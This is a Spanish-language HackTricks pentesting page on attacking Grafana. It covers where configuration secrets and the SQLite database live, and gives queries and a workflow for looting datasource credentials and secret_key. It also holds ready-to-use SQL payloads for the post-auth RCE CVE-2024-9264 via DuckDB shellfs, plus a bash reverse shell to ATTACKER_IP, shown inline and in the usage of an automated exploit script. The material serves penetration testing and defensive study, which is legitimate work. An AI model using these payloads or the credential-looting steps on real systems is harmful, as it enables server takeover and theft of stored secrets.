Grafana

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cosas interesantes

  • La configuración principal suele estar en /etc/grafana/grafana.ini (Deb/RPM) y puede contener valores sensibles como admin_user, admin_password, secret_key, ajustes OAuth, credenciales SMTP y tokens del renderer.
  • Por defecto Grafana almacena datos en SQLite3 bajo /var/lib/grafana/grafana.db.
  • Los archivos de provisioning son muy interesantes después de obtener acceso al host:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Se admite la expansión de variables de entorno en los archivos de provisioning, por lo que leaked YAML a menudo revela tanto secretos como los nombres de las env vars que los respaldan.
  • Los plugins instalados suelen encontrarse bajo /var/lib/grafana/plugins.
  • Dentro de la plataforma podrías invitar personas, generar API keys / service account tokens, listar plugins o instalar nuevos plugins según el rol.
  • El navegador también es botín: Grafana expone la config de datasource no secreta al frontend. Si tienes una sesión Viewer (o está habilitado anonymous access), inspecciona window.grafanaBootData desde DevTools.

Useful SQLite checks:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Looting datasources and secrets

Grafana separa la configuración legible por el navegador de los secretos encriptados:

  • jsonData es visible para los usuarios en el navegador y a menudo es suficiente para enumerar hosts internos, tenants, modos de autenticación, nombres de encabezado, regiones de AWS, índices de Elasticsearch, tenants de Loki, URLs de Prometheus y datos de reconocimiento similares.
  • secureJsonData está encriptado del lado del servidor y ya no es legible desde el navegador después de que se guarda el datasource.

Post-exploitation workflow:

  1. Dump grafana.ini y recuperar secret_key.
  2. Loot grafana.db y archivos de provisioning.
  3. Enumerate datasources y la configuración de plugins para encontrar credenciales reutilizables y endpoints internos.
  4. Si migras o vuelves a reproducir la base de datos en otra instancia de Grafana, conserva el mismo secret_key o las contraseñas/tokens almacenados del datasource no se desencriptarán correctamente.

Why secret_key matters in newer versions:

  • Desde Grafana v9, los secretos en la base de datos usan envelope encryption.
  • Grafana encripta los secretos con data encryption keys (DEKs), y esos DEKs se encriptan con una key encryption key (KEK) derivada de secret_key.
  • Desde la perspectiva de un atacante, grafana.db + secret_key es el par que vale la pena robar.

Plugin attack surface

Trata los plugins como parte del objetivo, no como una nota al pie:

  • Enuméralos desde el filesystem, desde la UI o desde la API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Plugins antiguos o de terceros amplían regularmente el alcance de Grafana hacia redes internas porque hacen proxy de solicitudes HTTP o interactúan con archivos locales/bases de datos.
  • Ejemplos recientes incluyen SSRF en el plugin Infinity (< 3.4.1) y rutas de abuso donde el plugin Image Renderer convierte otro bug en full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) RCE / LFI posterior a la autenticación

La característica experimental SQL Expressions de Grafana puede evaluar consultas DuckDB que incorporan texto controlado por el usuario. Una sanitización insuficiente permite a un atacante encadenar sentencias DuckDB y cargar la extensión comunitaria shellfs, que expone comandos del shell a través de archivos virtuales respaldados por pipes.

Impacto

  • Cualquier usuario autenticado con rol VIEWER o superior puede obtener ejecución de código como el usuario del OS de Grafana (a menudo grafana; a veces root dentro de un contenedor) o realizar lecturas de archivos locales.
  • Precondiciones comúnmente presentes en despliegues reales:
  • SQL Expressions habilitado: expressions.enabled = true
  • El binario duckdb presente en PATH en el servidor

Comprobaciones rápidas

  • En la UI/API, revisa Admin settings (Swagger: /swagger-ui, endpoint /api/admin/settings) para confirmar:
  • expressions.enabled está en true
  • Opcional: versión, tipos de datasource y ajustes generales de hardening
  • Shell en el host: which duckdb debe resolverse para la ruta de exploit abajo.

Patrón de consultas manual usando DuckDB + shellfs

  • Flujo de abuso (2 consultas):
  1. Instalar y cargar la extensión shellfs, ejecutar un comando, redirigir la salida combinada a un archivo temporal mediante pipe
  2. Leer de vuelta el archivo temporal usando read_blob

Ejemplos de payloads de SQL Expressions que se pasan a DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Reemplaza CMD por el comando que desees. Para file-read (LFI) puedes, en su lugar, usar las funciones de archivos de DuckDB para leer archivos locales.

Ejemplo de reverse shell de una sola línea

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Incrústalo como CMD en la primera consulta mientras tengas un listener: nc -lnvp 443.

PoC automatizado

Ejemplo de uso

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

If output shows uid=0(root), Grafana is running as root (common inside some containers).

2025 client-side traversal / open redirect chain

La cadena 2025 de client-side traversal y open-redirect de Grafana ya está documentada en páginas más genéricas sobre client-side. Usa esas técnicas contra rutas específicas de Grafana, como assets de plugins, cargadores de scripts de dashboards y redirecciones de rotación de tokens:

Client Side Path Traversal

Open Redirect

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks